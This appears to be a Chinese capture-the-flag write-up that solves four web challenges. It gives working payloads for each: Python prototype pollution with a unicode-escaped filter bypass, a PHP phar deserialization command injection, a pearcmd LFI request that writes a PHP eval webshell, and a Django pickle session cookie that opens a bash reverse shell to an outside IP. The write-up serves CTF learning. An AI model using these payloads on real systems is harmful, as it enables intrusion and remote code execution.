目录
EzFlask
MyPicDisk
ez_cms
ez_py
让俺看看401web题
EzFlask
进来直接给了源码
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
/register一眼python原型链污染
参考文章:Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖
flask中blask_list的绕过:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区
waf过滤了__init__,用unicode编码绕过即可
payload:
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"__globals__" : {
"__file__" : "/proc/1/environ"
}
}
}
}
成功污染__file__
然后再访问初始界面,读到环境变量的flag
MyPicDisk
万能密码登录成功
再修改万能密码
显示登录成功
随即又跳转回
抓包看下
访问/y0u_cant_find_1t.zip拿到源码
拖进Seay里扫一下
在FILE类的__destruct中存在一个命令执行的拼接
可以白名单后缀的上传文件
md5_file属于文件操作,可以触发phar反序列化
生成恶意phar文件
<?php
class FILE{
public $filename=";cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd >flag.txt";
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}
#获取phar包
$phar = new Phar("401.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
文件上传表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload Form</title>
</head>
<body>
<h1>Upload a File</h1>
<!-- 文件上传表单 -->
<form action="http://7d3089a6-31f1-40e4-bddb-faf9758f4ef9.node5.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data">
<p>
<label for="file">Choose file to upload:</label>
<input type="file" id="file" name="file" required>
</p>
<p>
<button type="submit">Upload File</button>
</p>
</form>
</body>
</html>
由于我们的登录账户不是admin,每执行一次登录操作,session就会被销毁一次,所以在每次操作之前,都要记得把登录的包重新发一遍,重置session,然后再表单上传文件
?file=phar://401.png&todo=md5
成功触发phar反序列化,将命令执行结果写入文件
再访问/flag.txt拿到flag
ez_cms
进来是熊海CMS
(李彦宏谈百度和Google的区别...)
看到版本是V1.0
搜到历史漏洞,index.php可以任意文件包含
代码审计:熊海cms 首页文件包含漏洞复现-****博客
直接打pearcmd(靶机环境的pearcmd.php路径要一番好找...)
利用pearcmd.php本地文件包含(LFI)-****博客
?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php
成功写马????
连接蚁剑,拿flag
后台也存在文件包含点
访问/admin路由,弱口令admin/123456登录
成功进入后台
继续打pearcmd
?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php
访问/tmp/shell.php,发现成功写入
下略
ez_py
考的Django Session pickle 反序列化
settings.py存在关键信息泄露
ROOT_URLCONF = 'openlug.urls' # for database performan SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' # use PickleSerializer SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
参考文章:
由Django-Session配置引发的反序列化安全问题-安全客 - 安全资讯平台
python安全:django的secret key泄漏导致的代码执行实践.md
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
import django.core.signing
import pickle
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
import subprocess
class Command(object):
def __reduce__(self):
return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 <&1"',),-1,None,None,None,None,None,False, True))
out_cookie= django.core.signing.dumps(
Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)
/auth路由下在sessionid处打入触发pickle反序列化
反弹shell拿到flag